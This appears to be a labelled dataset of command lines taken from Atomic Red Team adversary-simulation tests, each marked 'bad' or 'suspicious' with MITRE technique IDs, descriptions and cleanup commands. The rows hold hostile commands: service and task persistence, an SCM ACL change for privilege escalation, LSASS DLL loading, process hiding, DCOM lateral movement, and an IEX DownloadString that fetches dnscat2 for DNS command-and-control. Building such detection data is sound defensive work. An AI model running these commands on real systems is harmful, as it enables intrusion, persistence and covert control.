e9ae6b61dd89a9c3f9c4cbd3,"sc.exe create ""WerFaultSvc"" binPath= ""$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe"" DisplayName= ""WerFault Service"" start= auto","sc.exe create ""WerFaultSvc"" binPath= ""$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe"" DisplayName= ""WerFault Service"" start= auto",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Snake Malware Service Create,T1569.002,"[""T1569.002""]",windows,0.9,False,"The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Servi",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0d23917bbf46d9a820110e2d,"sc.exe delete ""WerFaultSvc""","sc.exe delete ""WerFaultSvc""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Snake Malware Service Create,T1569.002,"[""T1569.002""]",windows,0.55,True,"The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Servi",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
251ff86e9256830d185a8abb,sc.exe sdset scmanager D:(A;;KA;;;WD),sc.exe sdset scmanager D:(A;;KA;;;WD),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Modifying ACL of Service Control Manager via SDET,T1569.002,"[""T1569.002""]",windows,0.9,False,"Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.
[Blog](https://0xv1n.github.io/posts/scmanager/)  
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ebda7c4e22234c90c5d0d65,cd C:\Users\Public\Temp\ .\PsExec.exe -i -s cmd -accepteula,cd C:\Users\Public\Temp\ .\PsExec.exe -i -s cmd -accepteula,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Pipe Creation - PsExec Tool Execution From Suspicious Locations,T1569.002,"[""T1569.002""]",windows,0.9,False,"Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e41e9daf903d9668a02a39b2,"schtasks /create /ru system /sc daily /tr ""cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1"" /tn win32times /f schtasks /query /tn win32times","schtasks /create /ru system /sc daily /tr ""cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1"" /tn win32times /f schtasks /query /tn win32times",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Creating W32Time similar named service using schtasks,T1036.004,"[""T1036.004""]",windows,0.9,False,"Creating W32Time similar named service (win32times) using schtasks just like threat actor dubbed ""Operation Wocao""",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00e986ec437dd78d471f888f,schtasks /tn win32times /delete /f,schtasks /tn win32times /delete /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Creating W32Time similar named service using schtasks,T1036.004,"[""T1036.004""]",windows,0.55,True,"Creating W32Time similar named service (win32times) using schtasks just like threat actor dubbed ""Operation Wocao""",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d202a49381ce8a30055dab2,"sc create win32times binPath= ""cmd /c start c:\T1036.004_NonExistingScript.ps1"" sc qc win32times","sc create win32times binPath= ""cmd /c start c:\T1036.004_NonExistingScript.ps1"" sc qc win32times",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Creating W32Time similar named service using sc,T1036.004,"[""T1036.004""]",windows,0.9,False,"Creating W32Time similar named service (win32times) using sc just like threat actor dubbed ""Operation Wocao""",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42c7c44c02148a9e355bff0e,sc delete win32times,sc delete win32times,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Creating W32Time similar named service using sc,T1036.004,"[""T1036.004""]",windows,0.55,True,"Creating W32Time similar named service (win32times) using sc just like threat actor dubbed ""Operation Wocao""",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a000c4b6d7ac4aa68e0e71ab,"#{exe_path} & ps TMP=`ps | grep totally_legit` if [ -z ""${TMP}"" ] ; then echo ""renamed process NOT FOUND in process list"" && exit 1; fi exit 0","#{exe_path} & ps TMP=`ps | grep totally_legit` if [ -z ""${TMP}"" ] ; then echo ""renamed process NOT FOUND in process list"" && exit 1; fi exit 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,linux rename /proc/pid/comm using prctl,T1036.004,"[""T1036.004""]",linux,0.9,False,"Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to ""totally_legit"".  This will show up as process name in simple 'ps' listings.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
51adce34245abbe0340ad0fe,rm -f #{exe_path},rm -f #{exe_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,linux rename /proc/pid/comm using prctl,T1036.004,"[""T1036.004""]",linux,0.55,True,"Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to ""totally_legit"".  This will show up as process name in simple 'ps' listings.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b8bac9a42144ff4fbf41edbb,"eval '(while true; do :; done) &' echo $! > /tmp/evil_pid.txt random_kernel_pid=$(ps -ef | grep ""\[.*\]"" | awk '{print $2}' | shuf -n 1) sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)","eval '(while true; do :; done) &' echo $! > /tmp/evil_pid.txt random_kernel_pid=$(ps -ef | grep ""\[.*\]"" | awk '{print $2}' | shuf -n 1) sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Hiding a malicious process with bind mounts,T1036.004,"[""T1036.004""]",linux,0.9,False,"Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66b0e2cedd42e53a4b62c765,"kill $(cat /tmp/evil_pid.txt) || echo ""Failed to kill PID $evil_pid"" rm /tmp/evil_pid.txt","kill $(cat /tmp/evil_pid.txt) || echo ""Failed to kill PID $evil_pid"" rm /tmp/evil_pid.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.004/T1036.004.yaml,Hiding a malicious process with bind mounts,T1036.004,"[""T1036.004""]",linux,0.55,True,"Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8af77310afec448919907a1d,docker build -t t1610 $PathtoAtomicsFolder/T1610/src/ docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh,docker build -t t1610 $PathtoAtomicsFolder/T1610/src/ docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1610/T1610.yaml,Deploy Docker container,T1610,"[""T1610""]",containers,0.9,False,"Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a90a2a0577120f270edd0ca2,docker stop t1610_container docker rmi -f t1610:latest,docker stop t1610_container docker rmi -f t1610:latest,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1610/T1610.yaml,Deploy Docker container,T1610,"[""T1610""]",containers,0.55,True,"Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0c000b0e2fea8ae534d0556,cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist,cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Copy in loginwindow.plist for Re-Opened Applications,T1547.007,"[""T1547.007""]",macos,0.9,False,"Copy in new loginwindow.plist to launch Calculator.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c80f0ddece4c4d12bfa24db6,rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist,rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Copy in loginwindow.plist for Re-Opened Applications,T1547.007,"[""T1547.007""]",macos,0.55,True,"Copy in new loginwindow.plist to launch Calculator.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9e6dc2b89678c54d2006956,sudo defaults write com.apple.loginwindow LoginHook #{script},sudo defaults write com.apple.loginwindow LoginHook #{script},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Re-Opened Applications using LoginHook,T1547.007,"[""T1547.007""]",macos,0.9,False,"Mac Defaults

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5280f4ecd257d5fbcff6d750,sudo defaults delete com.apple.loginwindow LoginHook,sudo defaults delete com.apple.loginwindow LoginHook,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Re-Opened Applications using LoginHook,T1547.007,"[""T1547.007""]",macos,0.55,True,"Mac Defaults

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85f87b15a4f2d5400d295771,"FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z ""${FILE}"" ] ; then echo ""No loginwindow plist file found"" && exit 1 ; fi echo save backup copy to /tmp/ cp ${FILE} /tmp/t1547007_loginwindow-backup.plist echo before plutil -p ${FILE} echo overwriting... #{exe_path} ${FILE} && echo after && plutil -p ${FILE}","FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z ""${FILE}"" ] ; then echo ""No loginwindow plist file found"" && exit 1 ; fi echo save backup copy to /tmp/ cp ${FILE} /tmp/t1547007_loginwindow-backup.plist echo before plutil -p ${FILE} echo overwriting... #{exe_path} ${FILE} && echo after && plutil -p ${FILE}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Append to existing loginwindow for Re-Opened Applications,T1547.007,"[""T1547.007""]",macos,0.9,False,"Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
Note that the change may not result in the added Calculator program launching on next user login.
It may depend on which version of macOS you are running on.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49d62cca244da078e1aaf0cf,"rm -f #{exe_path} # revert to backup copy FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z ""${FILE}"" ] ; then exit 0 fi mv /tmp/t1547007_loginwindow-backup.plist ${FILE}","rm -f #{exe_path} # revert to backup copy FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z ""${FILE}"" ] ; then exit 0 fi mv /tmp/t1547007_loginwindow-backup.plist ${FILE}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.007/T1547.007.yaml,Append to existing loginwindow for Re-Opened Applications,T1547.007,"[""T1547.007""]",macos,0.55,True,"Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
Note that the change may not result in the added Calculator program launching on next user login.
It may depend on which version of macOS you are running on.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ef2dcbf5fa9e7b25ccdd9af,"New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value ""#{dll_path}""","New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value ""#{dll_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.008/T1547.008.yaml,Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt,T1547.008,"[""T1547.008""]",windows,0.9,False,"The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa00ed5a663dc3765e3c9536,"Remove-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Services\NTDS"" -Name ""LsaDbExtPt"" -ErrorAction Ignore | Out-Null","Remove-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Services\NTDS"" -Name ""LsaDbExtPt"" -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.008/T1547.008.yaml,Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt,T1547.008,"[""T1547.008""]",windows,0.55,True,"The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97be657686e8bb943f2b26ca,"for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type ""#{query_type}"" ""#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}"" -QuickTimeout}","for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type ""#{query_type}"" ""#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}"" -QuickTimeout}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.004/T1071.004.yaml,DNS Large Query Volume,T1071.004,"[""T1071.004""]",windows,0.9,False,"This test simulates an infected host sending a large volume of DNS queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
619cc7e16da479e86822171a,"Set-Location ""PathToAtomicsFolder"" .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}","Set-Location ""PathToAtomicsFolder"" .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.004/T1071.004.yaml,DNS Regular Beaconing,T1071.004,"[""T1071.004""]",windows,0.9,False,"This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fcbc4d324e9ac3964a0df85,"Set-Location ""PathToAtomicsFolder"" .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}","Set-Location ""PathToAtomicsFolder"" .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.004/T1071.004.yaml,DNS Long Domain Query,T1071.004,"[""T1071.004""]",windows,0.9,False,"This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6c0391e83e59718a48601dc,IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1') Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip},IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1') Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.004/T1071.004.yaml,DNS C2,T1071.004,"[""T1071.004""]",windows,0.9,False,"This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.
The following blogs have more information.

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a11f68b9609d352fc1e65a00,"[activator]::CreateInstance([type]::GetTypeFromProgID(""MMC20.application"",""#{computer_name}"")).Document.ActiveView.ExecuteShellCommand(""c:\windows\system32\calc.exe"", $null, $null, ""7"")","[activator]::CreateInstance([type]::GetTypeFromProgID(""MMC20.application"",""#{computer_name}"")).Document.ActiveView.ExecuteShellCommand(""c:\windows\system32\calc.exe"", $null, $null, ""7"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.003/T1021.003.yaml,PowerShell Lateral Movement using MMC20,T1021.003,"[""T1021.003""]",windows,0.9,False,"Powershell lateral movement using the mmc20 application com object.

Reference:

https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

Upon successful execution, cmd will spawn calc.exe on a remote computer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
12cf163d418c970f88047258,"copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe' $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(""Excel.Application"",""#{computer_name}"")) $com.ActivateMicrosoftApp(""5"")","copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe' $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(""Excel.Application"",""#{computer_name}"")) $com.ActivateMicrosoftApp(""5"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.003/T1021.003.yaml,PowerShell Lateral Movement Using Excel Application Object,T1021.003,"[""T1021.003""]",windows,0.9,False,"Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c3fef4ec7501ae7c7606c2b8,Remove-Item 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe',Remove-Item 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.003/T1021.003.yaml,PowerShell Lateral Movement Using Excel Application Object,T1021.003,"[""T1021.003""]",windows,0.55,True,"Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b4995233a953826a5d29322,"copy ""#{service_executable}"" ""C:\Program Files\windows_service.exe"" copy ""#{service_executable}"" ""C:\program.exe"" sc create ""Example Service"" binpath= ""C:\Program Files\windows_service.exe"" Displayname= ""Example Service"" start= auto sc start ""Example Service""","copy ""#{service_executable}"" ""C:\Program Files\windows_service.exe"" copy ""#{service_executable}"" ""C:\program.exe"" sc create ""Example Service"" binpath= ""C:\Program Files\windows_service.exe"" Displayname= ""Example Service"" start= auto sc start ""Example Service""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.009/T1574.009.yaml,Execution of program.exe as service with unquoted service path,T1574.009,"[""T1574.009""]",windows,0.9,False,"When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fab5e6aefa05e42306ad2fe6,"sc stop ""Example Service"" >nul 2>&1 sc delete ""Example Service"" >nul 2>&1 del ""C:\Program Files\windows_service.exe"" >nul 2>&1 del ""C:\program.exe"" >nul 2>&1 del ""C:\Time.log"" >nul 2>&1","sc stop ""Example Service"" >nul 2>&1 sc delete ""Example Service"" >nul 2>&1 del ""C:\Program Files\windows_service.exe"" >nul 2>&1 del ""C:\program.exe"" >nul 2>&1 del ""C:\Time.log"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.009/T1574.009.yaml,Execution of program.exe as service with unquoted service path,T1574.009,"[""T1574.009""]",windows,0.55,True,"When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a1fe72cc979f450a2d2f841,"$wdApp = New-Object -COMObject ""Word.Application"" if(-not $wdApp.path.contains(""Program Files (x86)"")) { Write-Host ""64-bit Office"" reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf"" /t REG_SZ /d ""PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll"" /f } else{ Write-Host ""32-bit Office"" reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf"" /t REG_SZ /d ""PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll"" /f } Stop-Process -Name ""WinWord"" Start-Process ""WinWord""","$wdApp = New-Object -COMObject ""Word.Application"" if(-not $wdApp.path.contains(""Program Files (x86)"")) { Write-Host ""64-bit Office"" reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf"" /t REG_SZ /d ""PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll"" /f } else{ Write-Host ""32-bit Office"" reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf"" /t REG_SZ /d ""PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll"" /f } Stop-Process -Name ""WinWord"" Start-Process ""WinWord""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.002/T1137.002.yaml,Office Application Startup Test Persistence (HKCU),T1137.002,"[""T1137.002""]",windows,0.9,False,"Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b15151e06763a12d8098877c,"Stop-Process -Name ""notepad"",""WinWord"" -ErrorAction Ignore Remove-Item ""HKCU:\Software\Microsoft\Office test\Special\Perf"" -ErrorAction Ignore","Stop-Process -Name ""notepad"",""WinWord"" -ErrorAction Ignore Remove-Item ""HKCU:\Software\Microsoft\Office test\Special\Perf"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.002/T1137.002.yaml,Office Application Startup Test Persistence (HKCU),T1137.002,"[""T1137.002""]",windows,0.55,True,"Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a6a0a44fa98037fcebe10b2,"$excelApp = New-Object -COMObject ""Excel.Application"" if(-not $excelApp.path.contains(""Program Files (x86)"")){ Write-Host ""64-bit Office"" $excelApp.RegisterXLL(""PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll"") } else{ Write-Host ""32-bit Office"" $excelApp.RegisterXLL(""PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"") }","$excelApp = New-Object -COMObject ""Excel.Application"" if(-not $excelApp.path.contains(""Program Files (x86)"")){ Write-Host ""64-bit Office"" $excelApp.RegisterXLL(""PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll"") } else{ Write-Host ""32-bit Office"" $excelApp.RegisterXLL(""PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"") }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Code Executed Via Excel Add-in File (XLL),T1137.006,"[""T1137.006""]",windows,0.9,False,"Loads an XLL file using the excel add-ins library.
This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df476ff245d9701aad5cef47,"Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore","Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Code Executed Via Excel Add-in File (XLL),T1137.006,"[""T1137.006""]",windows,0.55,True,"Loads an XLL file using the excel add-ins library.
This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
821404c516e48a0f9e8e4119,"$ver = (New-Object -COMObject ""Excel.Application"").version Remove-Item ""HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"" -ErrorAction Ignore Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\AddIns\notepad.xll"" -ErrorAction Ignore","$ver = (New-Object -COMObject ""Excel.Application"").version Remove-Item ""HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"" -ErrorAction Ignore Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\AddIns\notepad.xll"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via Excel Add-in File (XLL),T1137.006,"[""T1137.006""]",windows,0.55,True,"Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started
